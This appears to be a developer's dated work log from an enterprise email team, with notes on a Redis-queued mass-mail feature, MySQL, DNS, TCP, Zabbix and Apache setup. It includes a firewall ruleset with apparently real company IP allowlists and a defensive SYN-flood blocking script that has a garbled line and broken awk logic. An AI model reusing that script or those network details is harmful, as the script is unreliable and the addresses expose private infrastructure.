6.查詢優化器的提示(hint)
7.優化特定類型的查詢
中國移動的套餐電話,每個月58元,三個月後,是68元,須要打電話要求更改一下
=========================================================================
2018年3月23日 記錄:
redis的監控日誌:
redis-cli monitor
羣發郵件項目主要流程(細節限制暫忽略)
1.提供給前端HTTP發送接口參數爲:
to [羣發列表id,根據此id獲取列表中的郵箱地址]
from [發件人]
subject [標題]
msgtxt [郵件內容]
2.組裝eml文件
拼接eml文件,全部收件人拼接在To:xxx@xx.com,aaa@xx.com
由於有多臺服務器,因此存入共享文件目錄/mnt/entmail/mass_mail中,生成一個文件sendmassmail_{用戶id}.eml
3.插入redis服務中
lpush send_mass_mail "{from}|{to}|{eml文件地址}"
4.後臺執行腳本
rpop send_mass_mail
1)取出隊列中的一條記錄,拆分出來發件人,收件人,文件eml地址
2)fopen讀取並替換掉eml文件中的發件人部分(由於前面是吧全部人收件人的郵箱地址拼在了To那裏), 此時要把當前這個收件人替換回去,若是不替換,收件後會顯示出全部的收件人
3)調用內部smtp服務,循環發送郵件
4)隊列空時刪掉eml文件目錄
=========================================================================
2018年3月22日 記錄:
系統消息設計:用戶表 信息表 關聯表 讀取表
redis默認只容許本地訪問,要使redis能夠遠程訪問能夠修改redis.conf
service redis-server restart
ini_set('pcre.backtrack_limit' ,-1);解決preg_replace()的長字符串限制,這種特別慢
仍是使用fopen才能夠fgets
fwrite(): send of 8192 bytes failed with errno=32 Broken pipe
smtp服務那邊,配置沒有同步,同步之後,個人測試機就無法發信了
=========================================================================
2018年3月21日 記錄:
績效:
增長企業郵箱新功能,提高企郵產品競爭力
企郵webmail基礎功能
1.企郵web與客戶端的掃碼登錄功能開發
2.企郵web的HTTPS協議支持功能
3.環信web即時通信功能開發
4.自助日誌查詢
5.郵件歸檔
6.ip登錄限制
7.帳戶禁用功能
增長企郵外貿羣發郵件新功能,擴展企郵增加點
外貿郵箱功能
發送羣發郵件接口開發
增長郵箱地址接口開發
導入郵箱地址接口開發
新增羣發列表接口開發
獲取已發送郵件列表開發
獲取已發送郵件詳情開發
獲取羣發列表接口開發
獲取郵箱地址列表接口開發
刪除已發送羣發郵件接口開發
刪除羣發列表接口開發
刪除郵箱地址接口開發
獲取發送日誌列表接口開發
企郵平常維護和功能,性能優化,提高系統可靠性
企業用戶使用過程當中的問題
1.處理維護平常提案,解決用戶投訴問題,下降用戶流失
2.運營工做支持
發送羣發接口:
1.在/mnt/entmail/mass_mail 生成eml文件,規則:sendmassmail_{id}.eml
2.插入隊列規則:"from|to|郵件文件地址"
3.記錄到發送表
4.保存到已發送模板表
定時腳本:
1.輪詢隊列內容
2.取出eml文件內容,拆分替換收件人部分,循環調用內部smtp服務發信
=========================================================================
2018年3月20日 記錄:
=========================================================================
2018年3月19日 記錄:
新建羣發列表,導入郵箱地址:
1.新建時直接導入文件
2.單用戶每人限制50個羣發列表
3.每一個列表中的郵箱地址限制1000個
4.列表中郵箱去掉格式不正確的和重複的
5.判斷列表名稱不能爲空
6.判斷導入文件的大小不能太大,不能爲空
7.返回成功,失敗,總共的條數
對已存在的列表進行再次導入郵箱地址:
1.要求同上
2.判斷列表是否存在
3.已存在郵箱地址加上新導入地址不得超過1000
獲取郵箱地址列表接口:
1.所有取出
2.保留分頁功能
獲取郵箱地址列表的分頁部分主要代碼:
$this->sum=empty($this->sum) ? 0:$this->sum;
$this->pagenum=ceil($this->sum/$this->pagesize);
$this->pageno=empty($req->pageno)? 1 : $req->pageno;
$start=($pageno-1)*$pagesize;
$end=$pagesize;
$preSql="select * from mass_list_detail{tid} where user_email_id=:user_email_id and mass_id=:mass_id order by id desc limit {$start},{$end}";
$preSql=$this->makeSql($preSql);
=========================================================================
2018年3月16日 記錄:
中轉站下載文件超限上線,下載中轉站文件bug修復
=========================================================================
2018年3月15日 記錄:
設計能力:懂得如何利用分層、面向對象、設計模式等設計組織代碼
編碼能力:熟悉PHP語法特性,清晰簡潔的使用PHP語言解決產品需求,瞭解不一樣版本PHP新特性和PHP內部實現原理
工程能力:能夠快速構建工程,使用工程化思想開發項目
協做能力:懂得快速多人協做開發維護工程項目,基於版本控制軟件和WiKi平臺進行平常開發
擴展能力:
熟悉和了解通信協議DNS/TCP/HTTP/HTTPS/SSL/TLS/SMTP/IMAP,進行域名解析流程調試,遷移項目到更安全協議,郵箱業務相關工做.
瞭解前端技術,包括HTML/CSS/JS和安卓移動端等,方便與其餘同事進行溝通合做,提高項目的前端用戶體驗.
熟悉經常使用數據存儲技術,包括MySQL,Memcache,以及一些消息隊列MemcacheQ,Redis,高性能的使用MySQL,內存緩存和隊列服務解決項目需求
熟練使用和配置Nginx,Apache,PHP-FPM,Memcache,SVN,FTP等經常使用服務端軟件,搭建和測試LNAMP環境,維護線上項目穩定運行
熟練使用Linux Shell以及各類命令工具進行系統日誌監控,錯誤調試,調查統計等平常工做
優化能力:產品功能優化、業務邏輯優化、基礎技術優化、操做系統底層優化等
工程化:即系統化、模塊化、規範化的一個過程。指將具備必定規模數量的單個系統或功能部件,按照必定的規範,組合成一個模塊鮮明、系統性強的總體。
mysql開啓查詢日誌:
/etc/mysql/mysql.conf.d/mysqld.cnf
general_log_file = /var/log/mysql/mysql.log
general_log = 1
查看openssl的版本:
openssl version -a OpenSSL從1.0.1開始才支持TLS 1.2
=========================================================================
2018年3月14日 記錄:
若是我有10萬會員須要作excel導出,請問怎麼讓程序不超時,兩個接口
一個是觸發導出腳本的接口
一個是查詢進度的接口
腳本執行,前臺無需等待,腳本里往一個地方存一下當前第幾條的進度,查詢進度接口1秒一查進度進度100%了,文件就生成了,直接跳到文件去下載
CentOS安裝mysql5.7
wget https://repo.mysql.com//mysql57-community-release-el6-11.noarch.rpm
rpm -Uvh mysql57-community-release-el6-11.noarch.rpm
curl網絡鏈接不上,iptables清除一下就行了
-A INPUT -s 202.106.182.212/32 -d 125.39.104.0/24 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -s 202.106.184.253/32 -d 125.39.104.0/24 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -s 219.142.78.199/32 -d 125.39.104.0/24 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -s 219.142.118.199/32 -d 125.39.104.0/24 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 25 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 110 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 143 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 2025 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 11811 -j ACCEPT
-A INPUT -s 125.39.104.0/24 -d 125.39.104.0/24 -p tcp -m tcp --dport 20024 -j ACCEPT
-A INPUT -s 60.28.175.224/32 -d 125.39.104.0/24 -p tcp -m tcp -j ACCEPT
-A INPUT -s 60.28.164.37/32 -d 125.39.104.0/24 -p tcp -m tcp -j ACCEPT
-A INPUT -d 125.39.104.0/24 -p tcp -j REJECT --reject-with icmp-port-unreachable
-A INPUT -d 125.39.104.0/24 -p udp -j REJECT --reject-with icmp-port-unreachable
=========================================================================
2018年3月13日 記錄:
上線定時發信的羣發單顯問題
mysql內存不足啓動失敗:
[ERROR] InnoDB: mmap(136151040 bytes) failed; errno 12
[ERROR] InnoDB: Cannot allocate memory for the buffer pool
[ERROR] InnoDB: Plugin initialization aborted with error Generic error
[ERROR] Plugin 'InnoDB' init function returned error.
[ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed.
[ERROR] Failed to initialize plugins.
[ERROR] Aborting
須要分配交換空間swap
dd if=/dev/zero of=/swapfile bs=1M count=1024
mkswap /swapfile
swapon /swapfile
free -h 查看swap空間有了
在文件/etc/fstab中加入 /swapfile swap swap defaults 0 0
nonaggregated的 非彙集問題
使用 select @@sql_mode; 命令能夠看到,數據庫設置了 ONLY_FULL_GROUP_BY 的mode,對於GROUP BY聚合操做,若是在SELECT中的列,沒有在GROUP BY中出現,又沒有出如今彙集函數中,那麼這個SQL是不合法的,由於列不在GROUP BY從句中
一個數據表,字段:id、id_num(18位身份證號);id_num前八位表明城市,第17位是奇數的話是男,是偶數的話是女,寫出sql語句:統計每一個城市的男性和女性
select count(mass_name) from mass_list where mod(substring(mass_name,17,1),2)=1 group by substring(mass_name,1,8) union select count(mass_name) from mass_list where mod(substring(mass_name,17,1),2)=0 group by substring(mass_name,1,8);
=========================================================================
2018年3月12日 記錄:
正則表達式模式修正符:
i 忽略大小寫
m 多行視做一行
g 全局匹配
s .圓點匹配換行符,默認不包括換行
x 空白字符除了被轉義的或在字符類中的之外徹底被忽略,在未轉義的字符類以外的 # 以及下一個換行符之間的全部字符,包括兩頭,也都被忽略。
e preg_replace() 在替換字符串中對逆向引用做正常的替換
u 此修正符啓用了一個 PCRE 中與 Perl 不兼容的額外功能。模式字符串被當成 UTF-8。
U : 正則表達式的特色:就是比較」貪婪「 .* .+ 全部字符都符合這個條件
MySQL預處理技術:
1.減輕服務器壓力
2.防止sql注入,把傳遞過去的危險字符也只當作參數處理
3.將sql語句強制一分爲二:第一部分爲前面相同的命令和結構部分,第二部分爲後面可變的數據部分
基本使用
prepare sql_1 from "select * from mass_list";
execute sql_1;
drop prepare sql_1;
傳參:
prepare sql_2 from "select * from mass_list where id=?";
set @id=1;
execute sql_2 using @id;
prepare sql_3 from "insert into mass_list (mass_name) values(?)";
set @name='zhang';
execute sql_3 using @name;
prepare sql_3 from "insert into mass_list (mass_name,user_email_id) values(?,?),(?,?)";
set @name='zhang';
set @id=1;
execute sql_3 using @name,@id,@name,@id;//參數按順序傳遞
=========================================================================
2018年3月9日 記錄:
測試查找羣發單顯功能問題,定時發信,羣發單顯功能,沒有拆分後發送
flock 命令最大的用途就是實現對 crontab 任務的串行化。
* * * * * flock -xn /tmp/mytest.lock -c 'php /var/www/html/test/cron.php'
1.將命令做爲 flock 的 -c 選項的參數。flock 命令中,-x 表示對文件加上排他鎖,-n 表示文件使用非阻塞模式,-c 選項指明加鎖成功後要執行的命令。
2.阻塞與非阻塞
flock 文件鎖提供了阻塞和非阻塞兩種使用方式。當處於阻塞模式時,若是當前進程沒法成功獲取到文件鎖,那麼進程就會一直阻塞等待,直到其餘進程在對應文件上釋放了鎖,本進程能成功持有鎖爲止。
3.
驚呆!cron裏面居然還有如此用法!!!
http://www.cnblogs.com/taoshihan/p/8535223.html
1.這樣能夠保證同一時刻只有一個php進程執行,可是中間可能有必定的間隔期,一個進程也沒有
2.能夠使用sleep實現多個進程同時定時執行
https://zhuanlan.zhihu.com/p/25134841
PDO 提供了三種不一樣的錯誤處理模式
1.PDO::ERRMODE_SILENT 靜默模式,不終止代碼,只能使用 $pdo->errorCode() 和 $pdo->errorInfo() 獲取錯誤信息
2.PDO::ERRMODE_WARNING 警告模式,不終止代碼,在錯誤日誌中出現warning類型的錯誤信息
3.PDO::ERRMODE_EXCEPTION 異常模式,終止代碼,拋出異常信息,使用try()catch(){}捕獲
=========================================================================
2018年3月8日 記錄:
新建羣發列表接口代碼編寫
json_encode()
1.默認就是把全部 ASCII 可顯示字符之外的通通轉義爲 Unicode
若是把那些字符轉義爲 Unicode 以後,不管文件編碼是否一致,都不會出現亂碼,所以中文轉成Unicode編碼是有好處的
2.對單引號和雙引號的處理是有差別的,而且受數組鍵值包裹字符串的引號影響
3.json_encode(array(),JSON_FORCE_OBJECT));輸出空的對象
json_encode(new stdClass());另外一種方式
JSON_UNESCAPED_SLASHES 不要轉義 /
JSON_UNESCAPED_UNICODE 漢字不要編碼成Unicode 字符
4.出現錯誤時的處理,json_decode失敗的問題:
var_dump(json_last_error());//打印出錯信息
var_dump($b);
1.先打開ip138之類的網站,看看什麼運營商
2.劫持通常是讓他改DNS或者幫他處理,或者公司的話找網管。
3.ping 的慢,可能要看看咱們本身的服務端監控,沒有問題的話,多是客戶的網絡 或者路由問題。跨運營商也有丟包的狀況
=========================================================================
2018年3月7日 記錄:
1、什麼是接口文檔?
在項目開發中,web項目的先後端分離開發,APP開發,須要由先後端工程師共同定義接口,編寫接口文檔,以後你們都根據這個接口文檔進行開發,到項目結束前都要一直維護。
2、爲何要寫接口文檔?
一、項目開發過程當中先後端工程師有一個統一的文件進行溝通交流開發
二、項目維護中或者項目人員更迭,方便後期人員查看、維護
RESTful 接口:
REST 是一個很流行的先後端交互形式的約定。這只是一套約定,並非某個技術標準.REST 充分利用了 HTTP 規範中的方法,達到接口描述的語義化
安全:
1.使用HTTPS協議
2.數據加密
權限處理:
1.客戶端接口,攜帶驗證token
2.WEB端接口,使用SESSION驗證機制
=========================================================================
2018年3月6日 記錄:
羣發助手項目文檔設計
動態設置php.ini中的include_path 配置選項:
兩種方式
set_include_path($new_include_path)
ini_set('include_path',$new_include_path);
利用常量 PATH_SEPARATOR 可跨平臺擴展 include path,能夠把本身設置的path加在現有include_path的尾部
MERGE存儲引擎把一組MyISAM數據表當作一個邏輯單元來對待,讓咱們能夠同時對他們進行查詢
=========================================================================
2018年3月5日 記錄:
索引(Index)是幫助MySQL高效獲取數據的數據結構,能夠理解爲「排好序的快速查找數據結構」,在數據以外,數據庫系統還維護着知足特定查找算法的數據結構,這些數據結構以某種方式引用(指向)數據,這樣就能夠在這些數據結構上實現高級查找算法
建表的同時建立一個單列的普通索引
1.show status like 'Handler_read%';查看索引的使用狀況
Handler_read_first 全索引掃描
Handler_read_key 數值越高越好,高效的使用了索引
Handler_read_next 越小越好
Handler_read_rnd 沒有使用索引或者使用太多排序
Handler_read_prev 表明讀取索引的上列,通常發生在ORDER BY … DESC。
Handler_read_rnd_next 進行數據文件掃描,越小越好
覆蓋索引是select的數據列只用從索引中就可以取得,沒必要讀取數據行,你想要經過索引覆蓋select多列,那麼須要給須要的列創建一個多列索引,固然若是帶查詢條件,where條件要求知足最左前綴原則
逗號分隔值(Comma-Separated Values,CSV,有時也稱爲字符分隔值,由於分隔字符也能夠不是逗號),其文件以純文本形式存儲表格數據(數字和文本)
上傳csv後,不用再另存,直接使用$_FILES['uploadfile']['tmp_name']文件路徑
=========================================================================
2018年3月2日 記錄:
對數公式是數學中的一種常見公式,若是a^x=N(a>0,且a≠1),則x叫作以a爲底N的對數,記作x=log(a)(N),其中a要寫於log右下。其中a叫作對數的底,N叫作真數。一般咱們將10以底的對數叫作經常使用對數,以e爲底的對數稱爲天然對數。
mysql的索引分爲 單列索引 多列索引 惟一索引
多列索引生效原則是 從前日後依次使用生效,若是中間某個索引沒有使用,那麼斷點前面的索引部分起做用,斷點後面的索引沒有起做用;
index(a,b,c) ,最左前綴原則
where a=3 and b=45 and c=5 .... 這種三個索引順序使用中間沒有斷點,所有發揮做用;
where a=3 and c=5... 這種狀況下b就是斷點,a發揮了效果,c沒有效果
where b=3 and c=4... 這種狀況下a就是斷點,在a後面的索引都沒有發揮做用,這種寫法聯合索引沒有發揮任何效果;
where b=45 and a=3 and c=5 .... 這個跟第一個同樣,所有發揮做用,abc只要用上了就行,跟寫的順序無關
=========================================================================
2018年3月1日 記錄:
=========================================================================
2018年2月28日 記錄:
上線企郵10%企業跳轉到webmail的https
1.DNS解析流程:
FQDN:Fully Qualified Domain Name , 叫作絕對域名名稱,域名末尾有一個句點
ISP:(Internet Service Provider),互聯網服務提供商
TLD:頂級域名
NS 服務器:該服務器上有不少的DNS軟件,告訴調用者具體那臺機器維護某個域名的 DNS 信息(好比 A 記錄),爲了獲取某個域名的 IP 地址,須要去向它查詢
2.dig命令:
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52976 //NOERROR 表示查詢沒有什麼錯誤
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION: //表示須要查詢的內容,這裏須要查詢域名的 A 記錄
;www.sopans.com. IN A
;; ANSWER SECTION:
www.sopans.com. 600 IN A 123.206.7.231
;; Query time: 30 msec //Query time 表示查詢完成時間
;; OPT PSEUDOSECTION:
;; SERVER: 10.53.216.182#53(10.53.216.182) //表示本地 DNS 服務器地址和端口號
3.dig -t ns sopans.com 查詢ns服務器
dig -t mx sopans.com 查看mx記錄
dig +trace www.sopans.com DNS 迭代查詢流程
DNS會逐級緩存,若是要查詢最新的信息,能夠這樣
dig @dns1.hichina.com -t a www.sopans.com
dig @8.8.8.8 -t a www.sopans.com
給域名添加兩個A記錄到不一樣的ip,能夠做爲DNS負載
=========================================================================
2018年2月27日 記錄:
1.羣發列表功能梳理,用戶自建羣發列表,發送羣發郵件
計算email的hash
function getEmailHash($email, $mod = 10) {
$m = md5($email, true);
$f = 0;
$wm = 65536 % $mod;
for ($i = 0; $i < 4; ++$i) {
$n = ord($m[$i * 2 + 1]) * 256 + ord($m[$i * 2]);
$cm = $n % $mod;
for ($j = 0; $j < $i; ++$j) {
$cm = $cm * $wm;
if ($cm > $mod) {
$cm = $cm % $mod;
}
}
$f += $cm;
}
return $f % $mod;
}
1.此擴展提供 OAuth 消費方和提供方之間的綁定。OAuth 是一種創建在 HTTP 之上的受權協議,用於容許應用程序安全訪問數據而無需存儲用戶名和密碼。
OAuth應用一般包括三種角色:Consumer:消費方;Service Provider:服務提供者;User:用戶
2.POSIX風格正則表達式:基本正則表達式(Basic Regular Expression BRE),擴展正則表達式(Extended Regular Expression ERE)
Perl風格的正則表達式(Perl Regular Expression PRE)
在BRE方式中,只認可^ 、$、 . 、[ 、] 、*這些是元字符,全部其餘的字符都被識別爲文字字符。而ERE中,則添加了(、 ) 、{ 、} 、?、 + |、等元字符(及其相關功能),若是在BRE中使用須要加反斜槓
grep默認是BRE, -E是ERE , -P是PRE
deposits 存放 sanity 神志正常
=========================================================================
2018年2月26日 記錄:
火丁筆記:
記一次sftp故障,查看最新修改的日誌文件,ulimit進程限制問題
https://huoding.com/2018/01/27/653
linux查看平均負載 cat /proc/loadavg
on-cpu/off-cpu火焰圖的使用是程序性能分析的利器
pgrep根據名稱查看進程id
strace追蹤系統調用和信號
TokuDB 是一個支持事務的「新」引擎,有着出色的數據壓縮功能
devops三板斧,awk,strace,Gnuplot
史上最LOW的PHP鏈接池解決方案,nginx lua腳本實現redis鏈接池
https://huoding.com/2017/09/10/635
快速查找配置文件:
strace -eopen nginx 2>&1 |grep conf
=========================================================================
2018年2月24日 記錄:
春節上班第一天
企業郵箱PC端郵件簽名沒法插入圖片
企郵pop收取時間設置
=========================================================================
2018年2月11日 記錄:
靜態鏈表:數組描述的鏈表,遊標實現法
=========================================================================
2018年2月9日 記錄:
掃碼登錄功能上線:
usleep() 函數延遲代碼執行若干微秒。
一微秒等於百萬分之一秒。
=========================================================================
2018年2月8日 記錄:
防止洪水攻擊的腳本
#!/bin/bash
/bin/netstat -na |grep SYN_RECV |awk '{print $5}' |awk -F : '{print $1}' | sed '/^$/d' |sort|uniq -c|sort -rn|head -n 10|grep -v -E '192.168|127
.0'′ |sed '/^$/d' |awk '{if ($2!=null && $1>20);{print $2}}'>/tmp/dropip
for i in $(cat /tmp/dropip)
do
/sbin/iptables -A INPUT -s $i -j DROP
echo "$i kill at `date`">>/var/log/ddos
done
=========================================================================
2018年2月7日 記錄:
DNS(Domain Name System,域名系統),萬維網上做爲域名和IP地址相互映射的一個分佈式數據庫,可以使用戶更方便的訪問互聯網,而不用去記住可以被機器直接讀取的IP數串
第一,從協議的層面看,它是一種應用層協議
第二,從實體的層面看,它是一個由分層的DNS服務器實現的分佈式數據庫
根DNS服務器, 頂級域(Top-Level Domain, TLD )DNS服務器和權威DNS服務器
根DNS服務器:因特網上有13個根DNS服務器, 其中大部分分佈在北美洲
zabbix(音同 zæbix)是一個基於WEB界面的提供分佈式系統監視以及網絡監視功能的企業級的開源解決方案。
zabbix由2部分構成,zabbix server與可選組件zabbix agent。
zabbix server能夠經過SNMP,zabbix agent,ping,端口監視等方法提供對遠程服務器/網絡狀態的監視,數據收集等功能
# wget http://repo.zabbix.com/zabbix/3.4/ubuntu/pool/main/z/zabbix-release/zabbix-release_3.4-1+xenial_all.deb
# dpkg -i zabbix-release_3.4-1+xenial_all.deb
apt-get update
apt install zabbix-server-mysql zabbix-frontend-php zabbix-agent
create database zabbix character set utf8 collate utf8_bin;
grant all privileges on zabbix.* to zabbix@localhost identified by 'password';
zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix
systemctl start zabbix-server zabbix-agent
mkdir /etc/zabbix/zabbix_server.conf.d
mkdir /etc/zabbix/zabbix_agentd.conf.d
systemctl enable zabbix-server zabbix-agent
dpkg -L zabbix-frontend-php
cp /usr/share/zabbix/ /var/www/zabbix -R
vim /etc/php/7.0/fpm/php.ini
vim /etc/zabbix/zabbix_server.conf PID
mkdir /var/log/zabbix-server/ 權限
=========================================================================
2018年2月6日 記錄:
西單機房故障,影響登錄,收信,發信
ob_implicit_flush(1)打開隱式刷新
使用 cURL 擴展,它能夠設置鏈接超時和讀取超時(CURLOPT_TIMEOUT,CURLOPT_CONNECTTIMEOUT)
CURLOPT_TIMEOUT 容許 cURL 函數執行的最長秒數。
CURLOPT_TIMEOUT_MS 設置cURL容許執行的最長毫秒數。
CURLOPT_CONNECTTIMEOUT 在嘗試鏈接時等待的秒數。設置爲0,則無限等待。
CURLOPT_CONNECTTIMEOUT_MS 嘗試鏈接等待的時間,以毫秒爲單位。設置爲0,則無限等待。
ftell — 返回文件指針讀/寫的位置
fseek — 在文件指針中定位
fgets — 從文件指針中讀取一行
fread($fp,2);讀取指定字節數
=========================================================================
2018年2月5日 記錄:
redis安裝:
apt-get install redis-server
redis-server
redis-cli
redis> set foo bar
OK
redis> get foo
"bar"
命令:
1.遍歷key keys/scan
keys * ;scan 0
2.判斷key是否存在exists
exists foo
3.刪除key,del
del foo
4.返回給定key的value類型,type
type foo
5.給list添加元素,lpush
lpush foo5 1
6.查看list長度,llen
llen foo
7.查看元素,lindex
lindex foo 0
8.查看一段列表,lrange
lrange foo 0 -1
9.從頭部刪除元素,lpop
lpop foo
/dev/null是太陽黑洞的僞設備
curl -I www.baidu.com 2>/dev/null|head -1 只顯示header頭,把stderr標準錯誤無用的信息丟棄
/dev/zero 空數據流的特殊設備文件
dd if=/dev/zero of=1.txt bs=1M count=2 生成一個指定大小的空文件
if=文件名:輸入文件名
of=文件名:輸出文件名
bs=字節大小
count=個數
=========================================================================
2018年2月2日 記錄:
Maximum execution time of 30 seconds exceeded
htmlspecialchars_decode();
1.查找發送郵件服務器錯誤問題
2.修改pop代收爲最近30天和收取所有需求整理
3.測試apache運行模式優化問題
4.測試TCP鏈接問題
=========================================================================
2018年2月1日 記錄:
查找發送郵件服務器錯誤問題
長整數使用機器全字長
1.同一時間內處理的一組二進制數稱爲一臺電腦的「字」
2.這組二進制數的位數就是「字長」
man ascii能夠生成ascii碼錶
=========================================================================
2018年1月31日 記錄:
修改pop代收爲最近30天和收取所有需求整理
TCP 協議概述
1.TCP提供一種面向鏈接的、可靠的字節流服務。
2.兩個應用程序經過TCP鏈接交換8bit字節構成的字節流。
3.每一個TCP首部都包含源端和目的端的端口號,用於尋找發端和收端應用進程。這兩個值加上IP首部中的源端IP地址和目的端IP地址惟一肯定一個TCP鏈接。
4.一個IP地址和一個端口號也稱爲一個插口(socket),出如今最先的TCP規範(RFC793)
TCP 保證可靠性:
1.應用數據被分割成 TCP 認爲最適合發送的數據塊
2.當 TCP 發出一個段後,它啓動一個定時器,等待目的端確認收到這個報文段,超時重發
3.當 TCP 收到發自 TCP 鏈接另外一端的數據,它將發送一個確認
4.TCP 將保持它首部和數據的檢驗和
5.若是必要, TCP 將對收到的數據進行從新排序
6.TCP 還能提供流量控制
結束鏈接:
TCP 有一個特別的概念叫作 half-close,這個概念是說,TCP 的鏈接是全雙工(能夠同時發送和接收)鏈接,所以在關閉 鏈接的時候,必須關閉傳和送兩個方向上的鏈接。客戶機給服務器一個 FIN 爲1的 TCP 報文,而後服務器返回給客戶端一個確認 ACK 報文, 而且發送一個 FIN 報文,當客戶機回覆 ACK 報文後(四次握手),鏈接就結束了。
客戶端狀態遷移:
CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED
服務端狀態遷移:
CLOSED->LISTEN->SYN 收到->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED
ulimit -a
ulimit -n用於限制進程可以打開的文件描述符的最大數目。由於任何設備在linux下都是文件,通訊的接口也有專門的接口文件負責,因此linux下進程tcp連接的最大併發量也受限於該值
十六進制表示法:
一個字節由8位組成,值域 0000 0000 ~ 1111 1111,0~255
以16爲基數,0~9 a~f
十進制: 0 1 2 3 4 5 6 7
十六進制:0 1 2 3 4 5 6 7
二進制: 0000 0001 0010 0011 0100 0101 0110 0111
8 9 A B C D E F
8 9 10 11 12 13 14 15
1000 1001 1010 1011 1100 1101 1110 1111
習題:
將0x39A7FB轉爲二進制 0011 1001 1010 0111 1111 1011
將二進制1100 1001 0111 1011 轉爲十六進制 0xC97B
字長:32位機,64位機,說的就是32字長,64字長,英文叫word size,虛擬地址範圍0~2的32次方-1 大約4GB
=========================================================================
2018年1月30日 記錄:
長鏈接:指在一個鏈接上能夠連續發送多個數據包,在鏈接保持期間,若是沒有數據包發送,須要雙方發鏈路檢測包。
短鏈接:是指通信雙方有數據交互時,就創建一個鏈接,數據發送完成後,則斷開此鏈接,即每次鏈接只完成一項業務的發送。
TCP是一個面向鏈接的協議。
1.使用telnet與tcpdump互相配合進行測試
115.159.28.111.51142 > 10.141.14.117.http: Flags [S], seq 1784777886, win 29200,
10.141.14.117.http > 115.159.28.111.51142: Flags [S.], seq 1181145550, ack 1784777887, win 28960,
115.159.28.111.51142 > 10.141.14.117.http: Flags [.], ack 1, win 229,
seq:Sequence number(順序號碼)
ack:Acknowledge number(確認號碼)
syn:SYN(synchronous創建聯機)
主機A:115.159.28.111 主機B:10.141.14.117.http
第一次握手:A發送syn=1, 產生隨機seq=1784777886
第二次握手:B發送 隨機產生seq=1181145550,ack=接收到的seq+1 1784777887
第三次握手:A發送 ack=1,
TCP首部標誌位:
S SYN 同步序號
F FIN 完成發送
R RST 復位
P PST 推送
. 置爲0
深刻理解計算機系統:
虛擬存儲器是一個抽象的概念.它爲每一個進程提供了一個假象,即每一個進程獨佔的使用主存
併發和並行:
線程級並行,指令級並行,單指令多數據並行
=========================================================================
2018年1月29日 記錄:
企郵掃碼登錄接口部分上線
用戶上傳附件錯誤
1.$_FILES --超全局變量,HTTP 文件上傳變量
經過 HTTP POST 方式上傳到當前腳本的項目的數組,PHP 可以接受任何來自符合 RFC-1867 標準的瀏覽器上傳的文件,
上傳的過程當中,文件存放在/tmp/phpXxXxx裏,有的時候磁盤滿了,/tmp/下放不了文件也會報錯
2.RFC 1867標準
RFC 1867 - Form-based File Upload in HTML
<FORM ENCTYPE="multipart/form-data" ACTION="_URL_" METHOD=POST>
File to process: <INPUT NAME="userfile1" TYPE="file">
<INPUT TYPE="submit" VALUE="Send File">
</FORM>
2.move_uploaded_file ( string $filename , string $destination )
將上傳的文件移動到新位置,企郵默認從/tmp/phpxxxx到/mnt/entmail/webapp/uploads
3.上傳多個文件
<input name="userfile[]" type="file" /><br />
<input name="userfile[]" type="file" /><br />
獲取$_FILES['userfile']['tmp_name'][0],$_FILES['userfile']['tmp_name'][1]
5.對 PUT 方法的支持,使用標準的輸入流,$putdata = fopen("php://stdin", "r");
壓測工具:
1.ab -k -c 100 -t 10 http://domain/path
100個併發,持續10秒,增長header Connection: Keep-Alive,使用http長鏈接
=========================================================================
2018年1月26日 記錄:
PHP的純CPU基準測試(PHP5.5.9 vs PHP7.2.1):
1.bench.php 可在PHP源代碼的 php-src/Zend 目錄
2.micro_bench.php 也能夠在 PHP 源代碼發佈的 php-src/Zend 目錄中找到
3.同時使用Unix time 命令來計時
4.php5.5.9
real 0m14.498s
user 0m12.110s
sys 0m0.024s
php7.2.1
real 0m5.756s
user 0m4.521s
sys 0m0.028s
基於應用的性能測試:
1.準備:
dpkg -L apache2查看全部安裝的apache2的應用
a2query -M查看apache2使用的模式
httpd -l舊版本查看當前apache模式
2.查看apache的進程數:
ps aux|grep httpd|grep -v grep|wc -l //查看prefork模式的
pstree |grep httpd|grep -v grep|wc -l //查看worker模式的
3.prefork, worker, event 三種模式的區別:
1. prefork 中沒有線程的概念,是多進程模型,一個進程處理一個鏈接;穩定;響應快。其缺點是在鏈接數比較大時就很是消耗內存。
2. worker 是多進程多線程模型,一個進程有多個線程,每一個線程處理一個鏈接。與prefork相比,worker模式更節省系統的內存資源。不過,須要注意worker模式下的Apache與php等程序模塊的兼容性。
3. event 是worker模式的變種,它把服務進程從鏈接中分離出來,在開啓KeepAlive的場合下相對worker模式可以承受更高的併發負載,不能很好的支持https的訪問
4.apache使用mod_php的話,不能使用worker模式,不是線程安全的
4.apache配置fastcgi:
apt-get install apache2-mpm-worker//使用apache的worker模式,多進程多線程
apt-get install libapache2-mod-fastcgi php5-fpm//安裝apache的fastcgi模塊,和php-fpm
touch /usr/lib/cgi-bin/php5.fcgi//建立一個文件
chown -R www-data:www-data /usr/lib/cgi-bin//賦值權限
vim /etc/apache2/conf-available/php5-fpm.conf//配置apache和php-fpm的文件
<IfModule mod_fastcgi.c>
AddHandler php5.fcgi .php
Action php5.fcgi /php5.fcgi
Alias /php5.fcgi /usr/lib/cgi-bin/php5.fcgi
FastCgiExternalServer /usr/lib/cgi-bin/php5.fcgi -socket /var/run/php5-fpm.sock -pass-header Authorization -idle-timeout 3600
//若是是使用端口的話
